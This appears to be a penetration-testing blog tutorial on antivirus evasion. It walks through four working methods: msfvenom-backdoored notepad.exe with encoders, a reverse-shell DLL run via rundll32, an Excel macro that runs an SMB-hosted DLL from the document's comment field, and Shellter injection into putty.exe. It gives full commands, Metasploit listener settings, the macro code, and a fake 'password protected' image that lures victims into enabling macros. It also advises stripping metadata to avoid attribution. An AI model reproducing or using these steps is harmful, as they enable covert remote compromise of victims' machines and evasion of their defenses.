Evading antivirus (AV) lately seems to be much more of an art than a science. However, several widely-known methods exist to bypass a fair amount of anti-virus products.The first step in bypassing AV is being able to test the particular implementation that currently has your interest.
The best way to test a specific AV is to have multiple systems running and applying the latest antivirus and anti-malware engine updates. In this blog, we will use VirusTotal to scan some newly created malware for testing. However, we want to stress this is not the ideal way of testing malware. VirusTotal has a number of blogs that explain this:https://support.virustotal.com/hc/en-us/articles/115002094589-Why-do-not-you-include-statistics-comparing-antivirus-performance-).
There is something else to keep in mind while we do this exercise. The malware you create will be distributed to the AV manufacturers by their systems, meaning not only will your malware be detected, but eventually the method used to create the AV evasion will be dissected and analyzed as well.
Method 1: msfvenom
Create a backdoor and hide it in a legitimate application such as notepad.exe or Adobe Acrobat Reader. You need to get that application onto your Kali Linux system.
Obtain a legitimate (clean) Windows exe application.
Infect the clean application with a malicious payload to make it evil.
Create a command and control listener for the attacker.
Distribute the newly create the malicious application to the victim.
Entice the victim to use the application.
Download or copy a Windows application to Kali Linux.
Inject payload into legitimate notepad.exe code.
Encode payload so it can’t be detected as easily in the AV.
Create a listener using Metasploit Framework.
Entice victim to run the modified version of exe.
In the following example, we use the legitimate application notebook.exe and inject a backdoor using a reverse TCP payload. It then connects back to command and control server (IP: 192.168.2.100) over port TCP/4445. The command creates a new exe program that is a copy of notebook.exe with the malicious payload. We will name this new executable my_evil_program.exe
A word of advice: don’t actually use notepad.exe to inject malicious code. Everyone uses notepad.exe. It is the example in almost all pen testing classes. Use another type of executable if testing this in a live environment.
Here are the steps:
Embed a reverse TCP malicious payload into a clean EXE file in order to create a new, malicious evil exe file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.100 LPORT=4445 –x notepad.exe -e x86/jmp_call_additive -i 4 -k -f exe > my_evil_program.exe
Replace the IP address with the IP address or DNS name of your own Kali Linux box. Remember the victim must be able to connect back to you.
By the way, -i is how many times you want to encode the executable. Each time it is encoded a new checksum is generated. Figure 1 is a screen shot of us encoding the malware.
In the above example, we try and encode our payload to evade anti-virus. We are using jmp_call_additive encoder. We feel this is one of the best encoders. Don’t be surprised, however, if some or all encoders don’t work. AV companies try new methods to detect them.
You can use third-party and commercial encoders as well.
Continuing with our command line explanations:
x86/call4_dword_xor – This encoder implements a Call+4 Dword XOR Encoder. x86/countdown – This encoder uses the length of the payload as a position-dependent encoder key to produce a small decoder stub. x86/fnstenv_mov – This encoder uses a variable-length move equivalent instruction with fnstenv for getip. x86/jmp_call_additive – This encoder implements a Jump/Call XOR Additive Feedback Encoder. x86/shikata_ga_nai – This encoder implements a Polymorphic XOR Additive Feedback Encoder.
The decoder stub is generated based on dynamic instruction substitution and dynamic block ordering. Registers are also selected dynamically.NOTE: Most people claim shikata_ga_nai is the best encoder, however, I find many AV companies make great effort to detect this encoder. How well do these built-in encoders work? In a nutshell, they all pretty much stink. Most AV manufactures recognize encoders and actively fingerprint them.
Next, we will check if any of our active AV vendors detect the newly-created malicious file. For this part of the exercise we will use VirusTotal. I recommend only searching for the hash and not uploading the file. Once the file is uploaded, AV vendors will most likely update their definitions to specifically look for your malicious executable. Here is how we do it:
First find out the hash for your new executable my using the md5sum command. Figure 2 showcases us using the md5sum command to view the hash of the new file.
Next we search for the hash using Virus Total.
You can upload the file as well. Keep in mind, your file will be distributed to most security vendors. However, the file will be checked against the threats, not just against a hash.
In Figure 4 we can see the results from VirusTotal.
How effective was our backdoor from detection? Not very good…42 out 66 detected the attack (Figure 4).
For now, we are going to move forward. It is important to remember although the detection rate of this attack is high, we will still have many attackers in the real world attempt this. I did not list out the security vendors that failed to detect this attack, but there are some popular ones on the list. An attacker who is attempting a very broad attack may still try and use this method.
The next step for an attacker would be to set up a command and control (c&c) server with a listener. We can do this with the Metasploit Framework. Simply type msfconsole on your Kali Linux system to launch it.
Setup a command and control listener
First we get to the console:mfsconsole
Next we setup a listener in Metasploit
set LHOST 192.168.2.100
set LPORT 4445
set PAYLOAD windows/meterpreter/reverse_tcp4.
You can see the commands we are entering in Metasploit Console in Figure 6
You will then need to entice the victim to run your program. How you do that to yourself is up to you.
Once the victim runs the program you will have a full meterpreter session on your Kali box.
Method 2: msfvenom malicious DLLNot feeling like a hacker just yet? Probably not. Let’s see if we can do something a little bit better. Instead of creating an exe file. Let’s embed our backdoor into a DLL.According to the process library website: In this method we will use a program called RunDLL32.exe. RunDLL32.exe is a legitimate program created by Microsoft. You will see, like most programs it can also be used for malicious intentions.
“The rundll32.exe process is registered as a backdoor vulnerability which may be installed for malicious purposes by an attacker allowing access to your computer from remote locations, stealing passwords, Internet banking, and personal data. This process is a security risk and should be removed from your system.”
Create a backdoor on the target machine by creating a malicious DLL file that is actually very similar as using msfvenom.
Leverage this to embed a malicious reverse TCP payload into an executable.
Create an evil DLL file on your attacker system using Metasploit.
Create a system that allows the victim to communicate back to the attacker system.
Create a listener service on the attack machine.
Here are the steps to accomplish this one:
Create an evil DLL file on your attacker system.
Setup a command and control listener on your attacker machine.
Distribute the DLL file to a victim and have them run the DLL via RUN32DLL.
Create a backdoor by creating a malicious DLL file is actually very similar as using msfvenom to embed a malicious reverse TCP payload in an executable.
msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=192.168.2.100 LPORT=53>./evil.dll (see Figure 8).
We have now created a new malicious DLL file called evil.dll.
Setup Command and Control Listener. Run the following commands:
Get to mfsconsole
set LHOST 192.168.2.100
set LPORT 535. Set PAYLOAD windows/meterpreter/reverse_tcp
set ExitOnSession false
Your last step will be to load the malicious DLL file onto the victim’s system’s and have them use rundll32.exe to execute the DLL:
rundll32.exe evil.dll Control_RunDLL
Wait a minute! For this attack to work, I actually need to somehow get the victim machine to run the above command. That does not seem like an easy thing to do.
Even if we did somehow get the client to run the attack, when we test the malware file against VirusTotal we can see a vast majority of vendors detect the attack. It is detected by more security vendors than our first method as shown in Figure 9 (notice we did not use an encoder when we created our malicious DLL, which may explain why security products are detecting it).
Method 3: Remote DLL execution
Note: this is a very basic demonstration. We will go into much more complex scenarios in future blogs.
For us to make the malware more effective, we need to make it fileless. How do we do that? Essentially we need to do two things:
Host the DLL on an accessible web server.
Remotely execute the DLL file without downloading it on disk.
There are multiple methods to achieve the first step. We will use the SMB Delivery Payload in Metasploit. This module serves payloads via an SMB server and provides commands to retrieve and execute the generated payloads. It currently supports DLLs and Powershell.
The first step is to create a malicious DLL on an accessible web server. We can do this in the Metasplopit Framework (Figure 10 depicts the steps outlined below):
A. use exploit/windows/smb/smb_delivery
B. set PAYLOAD windows/meterpreter/reverse_https
C. set LPORT 535E: set LHOST (don't forget this step)
Metasploit will give you a URL that looks similar to:
Your URL might be different. You need to execute this command from the CLI on a Windows host.
The next step will be to embed this script into an office document.
I just want to point out I used Kai Stimpson’s article on the website Stealing The Network as my primary source. It is a great website and I strongly encourage everyone to check out the great work they are doing over there. Here is a link to the original blog:
We will start by downloading Commentator GitHub repository for a Windows machine. You will need to create the malicious Excel document on a Windows Machine for this to work properly.
Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass' and change directories to whereps1 is located (Figure 11).
Type 'Import-Module .\Commentator.ps1'. (Figure 12).
The following command will insert a comment of "Put your big long comment here" into a copy of the file NoComment.xlsx in the current directory. The new file will have "-wlc" appended to the file name.
Make sure you have an existing Excel file created. You should ideally put this in the Excel file in the same directory as the downloaded PS script.
Run Powershell with the following command: exe -exec bypass
Import the PowerShell script you downloaded (make sure you are in the correct directory). Import-Module .\Commentator.ps1
Add comments to Excel file with the PowerShell command
Invoke Commentator -OfficeFile .\bad-excel.xlsx -Comment "rundll32.exe \\192.168.174.161\jheTXX\test.dll,0" (see Figure 13).
When the process is complete, a copy of your file with the comment will be created as a copy of the file ending with wlc. (Figure 14)
You can check the comment by clicking on the properties of the files and looking under details (Figure 15).
ProTip: You Should probably clear other metadata that can be used to link you back as a creator of the document.
Here is one more tip: The PowerShell script just makes it easier for us to add comments in the metadata. This can be useful if you have multiple files and want to script the injection of the comments. I know sometimes these scripts just fail for various reasons. There is nothing stopping you from adding a comment yourself. Just copy the entire command (you don’t need the quotes), open up Excel, go the File Menu, and under info add the comment. Make sure you save the file as a xls (Office 97 - 2003) file.
We now need to create a macro in the document that will run the command in the comment section, We are going to use the following code:
Sub Workbook_Open()Dim p As DocumentProperty For Each p In ActiveWorkbook.BuiltinDocumentProperties If p.Name = "Comments" Then Shell (p.Value) End If NextEnd Sub
(Figure 16 shows us entering and saving the macro)
Process: Social Engineering
The file itself should not be detected as malware although just the action of the macro calling a network address might be seen as a malicious or suspicious activity. In future blogs I will show how use evasion techniques on the macro code itself.
Figure 17 shows all AV vendors detect the file as clean. Even if you have different results this is ok, there are different methods we can use obfuscate our macro code which we will show in future posts.
When the user opens the file in most versions of Excel they will get yellow bar stating they need to run and enable additional content.
We added a picture on the first sheet (Figure 18) that shows the user they are getting this because the file is password protected and they need enable it to view the file. Note that the file is not really protected - we are just trying to get them to enable macros.
Here is the image (Figure 19) I used by itself if you wanted a copy (source: https://stealingthe.network/executing-metasploit-empire-payloads-from-ms-office-document-properties-part-1-of-2/)
In the video below we show the entire attack
Method 4: Shell Code Injection
One last method I want to touch upon is a tool called Shellter. I have previously written a blog about it.
Shellter is a shellcode injector and can be found at:www.shellterproject.com I have been using the tool to demonstrate to customers how simple it is to bypass antivirus (AV) detection using programs that would have otherwise been detected as suspicious or possible threats within typical AV analysis engines.
Shellter is a dynamic program executable (or PE) infector. The positive aspects of it, according to Shellter’s project page, are as follows:
Compatible with Windows x86/x64 (XP SP3 and above) plus Wine/CrossOver for Linux/Mac.
Portable – no setup is required.
Doesn’t require extra dependencies or other programming languages such as Python, .net, etc.
No static program executable templates, framework wrappers, etc.
Supports any 32-bit payload which can be generated either by Metasploit or user customized payloads.
Compatible with all types of encoding by Metasploit.
Compatible with custom encoding created by the user.
Multi-payload PE infection.
Proprietary encoding plus user defined encoding sequence.
Dynamic thread context keys.
Supports reflective dynamic Link-library (DLL) loaders.
Junk code polymorphic engine.
Thread context aware polymorphic engine.
User can use custom polymorphic code of his own.
Takes advantage of Dynamic Thread Context information for anti-static analysis.
Detects self-modifying code.
Traces single and multi-thread applications.
Fully dynamic injection locations based on the execution flow.
Disassembles and shows to the user available injection points.
User chooses what to inject, when, and where.
Command Line support.
And most important…it is free
Of course, there are some negatives. The list doesn’t seem nearly as long, but mind you, this is from their Web site. Their ball, their rules…
Doesn’t (currently) support 64-bit PE files and payloads.
Free, but not open source, ergo…
To install Shellter on Kali Linux use the following commands (Figure 20):
apt-get install shellter
You may also need install wine32 (Figure 21). You can do so by typing the following command (as root) on Kali:
dpkg --add-architecture i386 && apt-get update &&apt-get install wine32
Next, we are going to take a legitimate program, like putty.exe (Figure 22), and use it for our test bed. In reality we could literally use any legitimate Windows executable.
You can easily use some slightly more advanced techniques to embed similar types of attacks in other types of files. For now let’s simply stick with Windows program executables for this example.
As you can see in the screen shot, the legitimate executable is transferred into our directory in Kali. When you play with Shellter, you will want to ensure your carrier or legitimate executable is in same directory when you run Shellter. Now we will run Shellter (Figure 23).
For the sake of simplicity and expediency, we will keep to the basics for now. Follow these steps:
Let’s select Auto for mode (Figure 24. We will also specify the legitimate program. Shellter will actually create a backup the legitimate executable program and modify it.
The code will be modified at this point. Shellter will give us the option to use an available payload, or we can also create a custom one.
We are going to choose reverse TCP which is an existing list option (Figure 25).
NOTE: If you need the legitimate executable program intact after this, it is probably best to create a backup on a separate storage device prior to doing this.
You will be asked to further define some other options:LHOST This will be the IP address or DNS name the victim machine will use to connect back to the command and control server. The server has to be reachable by the victim. LPORT This will be the port used to listen in on the victim from the command and control server. In our example we used port 443.
These options are shown in Figure 26.
Congratulations - at this point you have created a new malicious program (Figure 27) that will most likely go undetected by most antivirus programs. If you get a verified message (see below) you are basically good to go.
If you check your directory, you will see that putty.exe has been modified, and Shellter created a backup of the original executable.
We will now use the md5sum or upload the file directly command and check it against VirusTotal. In Figure 28 we see only seven security vendors are able to detect the new attack created by Shellter. These seven AV vendors are doing a great job in detecting against the attack.
Only seven vendors detect this a malicious (remember red is good, it means these are the vendors that are detecting the attack).
We start our listening server in msfconsole on Kali Linux using the following commands (Figure 29):
set LHOST 192.168.81.175
set LPORT 443
set PAYLOAD windows/meterpreter/reverse_tcp
Now we will go to our victim machine where we have transferred the exploited modified version of our executable. We should have been able to bypass most antivirus systems at this point.
We will launch our exploited program which will connect back to our command and control server.
In future blogs we will explore more along the lines of this topic, and go into some additional details of specific types of evasion attacks and processes. We’ll use those to explore wider ranges of AV evasion techniques.
This knowledge can be used for good or bad, just as any security knowledge can. I hope you use this to explore the ways cybercriminals try to continue exploiting systems for financial gain through theft and fraud. Our job, as always, is to understand their methods and thwart criminal behavior.
Stay tuned, and fight the good fight!